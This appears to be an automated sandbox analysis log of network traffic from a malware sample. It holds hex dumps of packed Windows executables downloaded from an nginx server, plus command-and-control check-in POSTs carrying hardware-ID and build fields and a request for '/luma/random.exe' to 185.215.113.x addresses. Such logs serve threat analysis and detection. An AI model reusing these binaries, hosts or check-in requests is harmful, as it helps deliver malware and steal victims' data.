00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 24 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:09:35 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:09:49 GMTContent-Type: application/octet-streamContent-Length: 1870848Last-Modified: Thu, 24 Oct 2024 16:06:11 GMTConnection: keep-aliveETag: "671a7073-1c8c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 31 e6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 51 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 51 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 68 6c 69 71 6f 6b 00 80 19 00 00 e0 30 00 00 72 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 71 75 78 63 76 76 67 00 10 00 00 00 60 4a 00 00 04 00 00 00 66 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4a 00 00 22 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:09:56 GMTContent-Type: application/octet-streamContent-Length: 1821696Last-Modified: Thu, 24 Oct 2024 16:06:04 GMTConnection: keep-aliveETag: "671a706c-1bcc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 a1 56 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 65 74 7a 74 67 66 7a 00 70 19 00 00 50 4f 00 00 6a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 66 63 73 68 79 61 00 10 00 00 00 c0 68 00 00 04 00 00 00 a6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 68 00 00 22 00 00 00 aa 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:09:58 GMTContent-Type: application/octet-streamContent-Length: 2863616Last-Modified: Thu, 24 Oct 2024 15:30:40 GMTConnection: keep-aliveETag: "671a6820-2bb200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 34 12 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 6e 68 69 61 6a 68 71 00 60 2b 00 00 a0 00 00 00 52 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 77 6d 76 6a 68 65 6e 00 20 00 00 00 00 2c 00 00 04 00 00 00 8c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2c 00 00 22 00 00 00 90 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:10:00 GMTContent-Type: application/octet-streamContent-Length: 1870848Last-Modified: Thu, 24 Oct 2024 16:06:11 GMTConnection: keep-aliveETag: "671a7073-1c8c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 31 e6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 51 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 51 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 68 6c 69 71 6f 6b 00 80 19 00 00 e0 30 00 00 72 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 71 75 78 63 76 76 67 00 10 00 00 00 60 4a 00 00 04 00 00 00 66 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4a 00 00 22 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:10:03 GMTContent-Type: application/octet-streamContent-Length: 1821696Last-Modified: Thu, 24 Oct 2024 16:06:04 GMTConnection: keep-aliveETag: "671a706c-1bcc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 a1 56 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 65 74 7a 74 67 66 7a 00 70 19 00 00 50 4f 00 00 6a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 66 63 73 68 79 61 00 10 00 00 00 c0 68 00 00 04 00 00 00 a6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 68 00 00 22 00 00 00 aa 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 2d 2d 0d 0a Data Ascii: ------CFBAKKJDBKJJJKFHDAEBContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------CFBAKKJDBKJJJKFHDAEBContent-Disposition: form-data; name="build"doma------CFBAKKJDBKJJJKFHDAEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
